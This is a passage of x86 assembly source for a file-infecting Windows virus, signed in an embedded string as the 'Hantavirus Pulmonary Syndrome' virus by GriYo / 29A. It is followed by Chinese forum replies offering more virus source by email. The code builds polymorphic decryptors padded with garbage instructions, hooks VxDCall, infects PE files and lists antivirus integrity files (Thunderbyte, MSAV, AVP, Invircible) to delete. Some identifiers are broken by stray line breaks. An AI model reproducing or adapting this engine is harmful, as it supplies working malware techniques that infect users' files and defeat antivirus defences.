counter_down: sub eax,ecx
done_ctr_dir: mov dword ptr [ebp+end_value],eax
ret

gen_decrypt: ;Check if we are going to use a displacement in the
;indexing mode
mov eax,dword ptr [ebp+ptr_disp]
or eax,eax
jnz more_complex
;Choose generator for [reg] indexing mode
mov edx,offset tbl_idx_reg
call choose_magic
jmp you_got_it
more_complex: ;More fun?!?!
mov al,byte ptr [ebp+build_flags]
test al,CRYPT_SIMPLEX
jnz crypt_xtended
;Choose generator for [reg+imm] indexing mode
mov edx,offset tbl_dis_reg
call choose_magic
you_got_it: ;Use magic to convert some values into
;desired instructions
call size_correct
mov dl,byte ptr [ebp+index_mask]
lodsb
or al,al
jnz adn_reg_01
cmp dl,00000101b
je adn_reg_02
adn_reg_01: lodsb
or al,dl
stosb
jmp common_part
adn_reg_02: lodsb
add al,45h
xor ah,ah
stosw
jmp common_part
crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp]
test al,CRYPT_COMPLEX
jz ok_complex
;Get random displacement from current displacement
;eeehh?!?
mov eax,00000010h
call get_rnd_range
mov dword ptr [ebp+disp2disp],eax
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg+imm] indexing mode
mov edx,offset tbl_paranoia
call choose_magic
jmp shortdo
ne_xtended
ok_complex: mov eax,dword ptr [ebp+ptr_disp]
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg] indexing mode
mov edx,offset tbl_xtended
call choose_magic
done_xtended: ;Build decryptor instructions
call size_correct
pop ebx
mov dl,byte ptr [ebp+index_mask]
lodsb
mov cl,al
or al,al
jnz arn_reg_01
cmp dl,00000101b
jne arn_reg_01
lodsb
add al,40h
stosb
jmp short arn_reg_02
arn_reg_01: movsb
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,dl
stosb
or cl,cl
jnz arn_reg_03
cmp dl,00000101b
jne arn_reg_03
xor al,al
stosb
arn_reg_03: ;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
common_part: ;Get post-build flags
lodsb
;Insert displacement from real address?
test al,MAGIC_PUTDISP
jz skip_disp
push eax
mov eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+disp2disp]
neg eax
stosd
pop eax
skip_disp: ;Insert key?
test al,MAGIC_PUTKEY
jz skip_key
call copy_key
skip_key: ;Generate reverse code
calldo
_reverse
ret

choose_magic: mov eax,00000006h
call get_rnd_range
add edx,ebp
lea esi,dword ptr [edx+eax*04h]
lodsd
add eax,ebp
mov esi,eax
ret
size_correct: lodsb
mov ah,byte ptr [ebp+oper_size]
cmp ah,01h
je store_correct
inc al
cmp ah,04h
je store_correct
mov ah,66h
xchg ah,al
stosw
ret
store_correct: stosb
ret
load_aux: ;Get a valid auxiliary register
push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;Move displacement into aux reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
pop eax
neg eax
stosd
ret

do_reverse: xor eax,eax
mov al,byte ptr [ebp+oper_size]
shr eax,01h
shl eax,02h
add esi,eax
lodsd
add eax,ebp
mov esi,eax
push edi
lea edi,dword ptr [ebp+perform_crypt]
loop_string: lodsb
cmp al,MAGIC_ENDSTR
je end_of_magic
cmp al,MAGIC_ENDKEY
je last_spell
xor ecx,ecx
mov cl,al
rep movsb
jmp short loop_string
last_spell: call copy_key
end_of_magic: mov al,0C3h
stosb
pop edi
ret

copy_key: mov eax,dword ptr [ebp+crypt_key]
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_key: stosb
shr eax,08h
loop loop_key
ret
gen_next_step: ;Get number of bytes to inc or dec the index reg
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_update: ;Get number of bytes to update with this instruction
mov eax,ecx
call get_rnd_range
inc eax
;Check direction
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jnz step_down
calldo
_step_up
jmp short next_update
step_down: calldo
_step_down
next_update: sub ecx,eax
jecxz end_update
jmp short loop_update
end_update: ret
do_step_up: ;Move index_reg up
or eax,eax
jz up_with_inc
;Now choose ADD or SUB
push eax
call get_rnd32
and al,01h
jnz try_sub_1
try_add_1: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
try_sub_1: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
up_with_inc: ;Generate INC reg_index
mov al,40h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret
do_step_down: ;Move index_regdo
wn
or eax,eax
jzdo
wn_with_dec
;Now choose ADD or SUB
push eax
call get_rnd32
and al,01h
jnz try_sub_2
try_add_2: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
try_sub_2: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
down_with_dec: ;Generate DEC reg_index
mov al,48h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret
gen_next_ctr: ;Check counter direction and update counter
;using a INC or DEC instruction
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz upd_ctr_down
upd_ctr_up: mov al,40h
or al,byte ptr [ebp+counter_mask]
jmp short upd_ctr_ok
upd_ctr_down: mov al,48h
or al,byte ptr [ebp+counter_mask]
upd_ctr_ok: stosb
ret
gen_loop: ;Use counter reg in CMP instruction?
test byte ptr [ebp+build_flags],CRYPT_CMPCTR
jnzdo
loopauxreg
;Generate CMP counter_reg,end_value
mov ax,0F881h
or ah,byte ptr [ebp+counter_mask]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
jmpdo
loopready
doloopauxreg: ;Get a random valid register to use in a CMP
instruction
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;Move index reg value into aux reg
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw
;Guess what!?
push ebx
call gen_garbage
pop ebx
;Generate CMP aux_reg,end_value
mov ax,0F881h
or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
doloopready: ;Generate conditional jump
call get_rnd32
and al,01h
jnzdo
loopdown
doloopup: mov ax,850Fh
stosw
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd
call gen_garbage
;Insert a jump to virus code
mov al,0E9h
stosb
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size-00000004h
sub eax,edi
stosd
ret
doloopdown: ;...or may be this other structure:
;
;
loop_point:
;
...
;
cmp reg,x
;
je virus
;
...
;
jmp loop_point
;
...
mov ax,840Fh
stosw
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size-00000004h
sub eax,edi
stosd
call gen_garbage
;Insert a jump to loop point
mov al,0E9h
stosb
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd
ret

gen_garbage: ;More recursive levels allowed?
push esi
inc byte ptr [ebp+recursive_level]
cmp byte ptr [ebp+recursive_level],04h
jae exit_gg
;Choose garbage generator
mov eax,00000004h
call get_rnd_range
inc eax
mov ecx,eax
loop_garbage: push ecx
mov eax,(end_garbage-tbl_garbage)/04h
call get_rnd_range
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
lodsd
add eax,ebp
call eax
pop ecx
loop loop_garbage
;Update recursive level
exit_gg: dec byte ptr [ebp+recursive_level]
pop esi
ret
g_movreg32imm: ;Generate MOV reg32,imm
call get_valid_reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
ret
g_movreg16imm: ;Generate MOV reg16,imm
call get_valid_reg
mov ax,0B866h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosw
ret
g_movreg8imm: ;Generate MOV reg8,imm
call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movreg8imm
call get_rnd32
mov al,0B0h
or al,byte ptr [ebx+REG_MASK]
push eax
call get_rnd32
pop edx
and ax,0004h
or ax,dx
stosw
a_movreg8imm: ret

g_movregreg32: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
c_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Bh
stosw
a_movregreg32: ret
g_movregreg16: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short c_movregreg32
g_movregreg8: call get_rnd_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
cmp ebx,edx
je a_movregreg8
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Ah
push eax
call get_rnd32
pop edx
and ax,2400h
or ax,dx
stosw
a_movregreg8: ret
g_movzx_movsx: call get_rnd32
mov ah,0B7h
and al,01h
jz d_movzx
mov ah,0BFh
d_movzx: mov al,0Fh
stosw
call get_rnd_reg
push ebx
call get_valid_reg
pop edx
mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,0C0h
or al,byte ptr [edx+REG_MASK]
stosb
ret
g_mathregimm32: mov al,81h
stosb
call get_valid_reg
calldo
_math_work
stosd
ret
g_mathregimm16: mov ax,8166h
stosw
call get_valid_reg
calldo
_math_work
stosw
ret
g_mathregimm8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_math8
mov al,80h
stosb
calldo
_math_work
stosb
and ah,04h
or byte ptr [edi-00000002h],ah
a_math8: ret
do_math_work: mov eax,end_math_imm-tbl_math_imm
call get_rnd_range
lea esi,dword ptr [ebp+eax+tbl_math_imm]
lodsb
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
ret
g_push_g_pop: ;Note that garbage generator can call itself in a
;recursive way, so structures like the following
;example can be produced
;
;
push reg_1
;
...
;
push reg_2
;
...
;
pop reg_2
;
...
;
pop reg_1
;
call get_rnd_reg
mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
ret

g_call_cont: mov al,0E8h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call gen_garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
ret

g_jump_u: mov al,0E9h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret

g_jump_c: call get_rnd32
and ah,0Fh
add ah,80h
mov al,0Fh
stosw
push edi
stosd
call gen_garbage
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret

gen_save_code: mov eax,end_save_code-tbl_save_code
call get_rnd_range
mov al,byte ptr [ebp+tbl_save_code+eax]
stosb
ret

get_rnd_reg: mov eax,00000007h
call get_rnd_range
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
ret
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and
REG_IS_INDEX)
get_valid_reg: call get_rnd_reg
mov al,byte ptr [ebx+REG_FLAGS]
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
jnz get_valid_reg
ret
fixed_size2ecx: mov eax,inf_size
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
shr ecx,01h
or ecx,ecx
jz ok_2ecx
shr eax,cl
jnc ok_2ecx
inc eax
ok_2ecx: mov ecx,eax
ret

gen_rnd_block: ;Get number of bytes to fill
mov eax,00000010h
call get_rnd_range
add eax,00000005h
mov ecx,eax
rnd_fill: ;Fill a ecx block with random data
cld
rnd_fill_loop: call get_rnd32
stosb
loop rnd_fill_loop
ret
get_rnd32: push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,41C64E6Dh
mul ecx
add eax,00003039h
and eax,7FFFFFFFh
mov dword ptr [ebp+rnd32_seed],eax
pop edx
pop ecx
ret

get_rnd_range: push ecx
push edx
mov ecx,eax
call get_rnd32
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret

;Register table
;
;
- Register mask
;
- Register flags
tbl_regs equ this byte
db 00000000b,REG_READ_ONLY ;eax
db 00000011b,00h ;ebx
db 00000001b,00h ;ecx
db 00000010b,00h ;edx
db 00000110b,REG_NO_8BIT ;esi
db 00000111b,REG_NO_8BIT ;edi
db 00000101b,REG_NO_8BIT ;ebp
end_regs equ this byte
;Aliases for reg table structure
REG_MASK equ 00h
REG_FLAGS equ 01h
;Bit aliases for reg flags
REG_IS_INDEX equ 01h ;Register used as main index register
REG_IS_COUNTER equ 02h ;This register is used as loop counter
REG_READ_ONLY equ 04h ;Never modify the value of this
register
REG_NO_8BIT equ 08h ;ESI EDI and EBP havent 8bit version
;Initial reg flags
tbl_startup equ this byte
db REG_READ_ONLY ;eax
db 00h ;ebx
db 00h ;ecx
db 00h ;edx
db REG_NO_8BIT ;esi
db REG_NO_8BIT ;edi
db REG_NO_8BIT ;ebp
;Code thatdo
es not disturb reg values
tbl_save_code equ this byte
clc
stc
cmc
cld
std
end_save_code equ this byte
;Generators for [reg] indexing mode
tbl_idx_reg equ this byte
dd offset xx_inc_reg
dd offset xx_dec_reg
dd offset xx_not_reg
dd offset xx_add_reg
dd offset xx_sub_reg
dd offset xx_xor_reg
;Generators for [reg+imm] indexing mode
tbl_dis_reg equ this byte
dd offset yy_inc_reg
dd offset yy_dec_reg
dd offset yy_not_reg
dd offset yy_add_reg
dd offset yy_sub_reg
dd offset yy_xor_reg
;Generators for [reg+reg] indexing mode
tbl_xtended equ this byte
dd offset zz_inc_reg
dd offset zz_dec_reg
dd offset zz_not_reg
dd offset zz_add_reg
dd offset zz_sub_reg
dd offset zz_xor_reg
;Generators for [reg+reg+imm] indexing mode
tbl_paranoia equ this byte
dd offset ii_inc_reg
dd offset ii_dec_reg
dd offset ii_not_reg
dd offset ii_add_reg
dd offset ii_sub_reg
dd offset ii_xor_reg
;Opcodes for math reg,imm
tbl_math_imm equ this byte
db 0C0h ;add
db 0C8h ;or
db 0E0h ;and
db 0E8h ;sub
db 0F0h ;xor
db 0D0h ;adc
db 0D8h ;sbb
end_math_imm equ this byte
;Magic aliases
MAGIC_PUTKEY equ 01h
MAGIC_PUTDISP equ 02h
MAGIC_ENDSTR equ 0FFh
MAGIC_ENDKEY equ 0FEh
MAGIC_CAREEBP equ 00h
MAGIC_NOTEBP equ 0FFh
;Magic data
xx_inc_reg db 0FEh
db MAGIC_CAREEBP
db 00h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
xx_dec_reg db 0FEh
db MAGIC_CAREEBP
db 08h
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
xx_not_reg db 0F6h
db MAGIC_CAREEBP
db 10h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
xx_add_reg db 80h
db MAGIC_CAREEBP
db 00h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
xx_sub_reg db 80h
db MAGIC_CAREEBP
db 28h
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
xx_xor_reg db 80h
db MAGIC_CAREEBP
db 30h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
yy_inc_reg db 0FEh
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
yy_dec_reg db 0FEh
db MAGIC_NOTEBP
db 88h
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
yy_not_reg db 0F6h
db MAGIC_NOTEBP
db 90h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
yy_add_reg db 80h
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
yy_sub_reg db 80h
db MAGIC_NOTEBP
db 0A8h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
yy_xor_reg db 80h
db MAGIC_NOTEBP
db 0B0h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
zz_inc_reg db 0FEh
db MAGIC_CAREEBP
db 04h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
zz_dec_reg db 0FEh
db MAGIC_CAREEBP
db 0Ch
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
zz_not_reg db 0F6h
db MAGIC_CAREEBP
db 14h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
zz_add_reg db 80h
db MAGIC_CAREEBP
db 04h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
zz_sub_reg db 80h
db MAGIC_CAREEBP
db 2Ch
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
zz_xor_reg db 80h
db MAGIC_CAREEBP
db 34h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
ii_inc_reg db 0FEh
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
ii_dec_reg db 0FEh
db MAGIC_NOTEBP
db 8Ch
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
ii_not_reg db 0F6h
db MAGIC_NOTEBP
db 94h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
ii_add_reg db 80h
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
ii_sub_reg db 80h
db MAGIC_NOTEBP
db 0ACh
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
ii_xor_reg db 80h
db MAGIC_NOTEBP
db 0B4h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
;Reverse-code strings
x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY

style_table equ this byte
dd offset gen_get_delta
dd 00000000h
dd offset gen_load_ctr
dd 00000000h
dd offset gen_decrypt
dd 00000000h
dd offset gen_next_step
dd 00000000h
dd offset gen_next_ctr
dd 00000000h
;Garbage code generators
tbl_garbage equ this byte
dd offset gen_save_code ;clc stc cmc cld std
dd offset g_movreg32imm ;mov reg32,imm
dd offset g_movreg16imm ;mov reg16,imm
dd offset g_movreg8imm ;mov reg8,imm
dd offset g_movregreg32 ;mov reg32,reg32
dd offset g_movregreg16 ;mov reg16,reg16
dd offset g_movregreg8 ;mov reg8,reg8
dd offset g_mathregimm32 ;math reg32,imm
dd offset g_mathregimm16 ;math reg16,imm
dd offset g_mathregimm8 ;math reg8,imm
dd offset g_push_g_pop ;push reg/garbage/pop
reg
dd offset g_call_cont ;call/garbage/pop
dd offset g_jump_u ;jump/rnd block
dd offset g_jump_c ;jump
conditional/garbage
dd offset g_movzx_movsx ;movzx/movsx reg32,
end_garbage equ this byte

szKernel32 db "KERNEL32.dll",00h ;Used for kernel scanning
rnd32_seed dd 00000000h ;Seed for random number
del_fileptr dd offset szAvData_00 ;Filenames to delete
dd offset szAvData_01
dd offset szAvData_02
dd offset szAvData_03
szAvData_00 db "ANTI-VIR.DAT",00h ;Thunderbyte
szAvData_01 db "CHKLIST.MS",00h ;MsAv
szAvData_02 db "AVP.CRC",00h ;Avp
szAvData_03 db "IVB.NTZ",00h ;Invircible
szAuth db " &amp;lt;
Hantavirus Pulmonary Syndrome (HPS) "
db "Virus BioCoded by GriYo / 29A &amp;gt;
",00h
align dword
inf_end equ this byte
ptr_disp dd 00000000h ;Displacement from index
disp2disp dd 00000000h ;Displacement over displacement
end_value dd 00000000h ;Index end value
delta_call dd 00000000h ;Used into delta_offset routines
loop_point dd 00000000h ;Start address of decryption loop
entry_point dd 00000000h ;Entry point to decryptor code
decryptor_size dd 00000000h ;Size of generated decryptor
crypt_key dd 00000000h ;Encryption key
oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)
index_mask db 00h ;Mask of register used as index
counter_mask db 00h ;Mask of register used as counter
build_flags db 00h ;Some decryptor flags
recursive_level db 00h ;Garbage recursive layer
;Decryptor flags aliases
CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR equ 02h
CRYPT_CDIR equ 04h
CRYPT_SIMPLEX equ 10h
CRYPT_COMPLEX equ 20h

;Virus uninitialized data
scan_addr dd 00000000h ;Current memory address for our
scanner
a_VxDCall dd 00000000h ;VxDCall function entry-point
hook_status dd 00000000h ;Flag to prevent reentrancy
file_attrib dd 00000000h ;Original file attributes
file_time dd 00000000h ;Original file time
file_date dd 00000000h ;Original file date
ptr_filename dd 00000000h ;Path end, filename start
last_checksum dd 00000000h ;Checksum of filename
padding_block dd 00000000h ;Numbers of bytes written for size
padding
mem_address dd 00000000h ;Virus position in memory
bmp_address dd 00000000h ;Storage for .BMP handling rotuines
bmp_active dd 00000000h ;Payload switch
bmp_pages dd 00000000h ;Size of bitmap in pages
VxDCall_code db 06h dup (00h) ;16:32 ptr to VxDCall
target_filename db MAX_PATH dup (00h) ;Filename to infect
stealth_this dd 00000000h ;Bytes written to file
msdos_header db IMAGE_SIZEOF_DOS_HEADER / ;MsDos header
dup (00h)
pe_signature dd 00000000h ;This holds the PE
pe_header db IMAGE_SIZEOF_FILE_HEADER / ;Here comes the PE
dup (00h)
optional_header db IMAGE_SIZEOF_NT_OPTIONAL_HEADER /
dup (00h) ;Holds the optional
section_header db IMAGE_SIZEOF_SECTION_HEADER /;Section header of
dup (00h) ;section in file
pe_signature dd 00000000h ;This holds the PE
pe_header db IMAGE_SIZEOF_FILE_HEADER / ;Here comes the PE
dup (00h)
optional_header db IMAGE_SIZEOF_NT_OPTIONAL_HEADER /
dup (00h) ;Holds the optional
section_header db IMAGE_SIZEOF_SECTION_HEADER /;Section header of
dup (00h) ;section in file
mem_end equ this byte ;
end of virus portable
virus_copy db inf_size dup (00h) ;Virus copy for
poly_max_size equ 1000h ;Buffer size
poly_buffer db poly_max_size dup (00h) ;Buffer for poly
virseg ends
end host_entry

 
把分给我,你要什么病毒源代码我有什么:)
我的邮箱是wywe@sina.com
想要的话就发个EMAIL来
 
帮你转到供求热线吧
 
顶部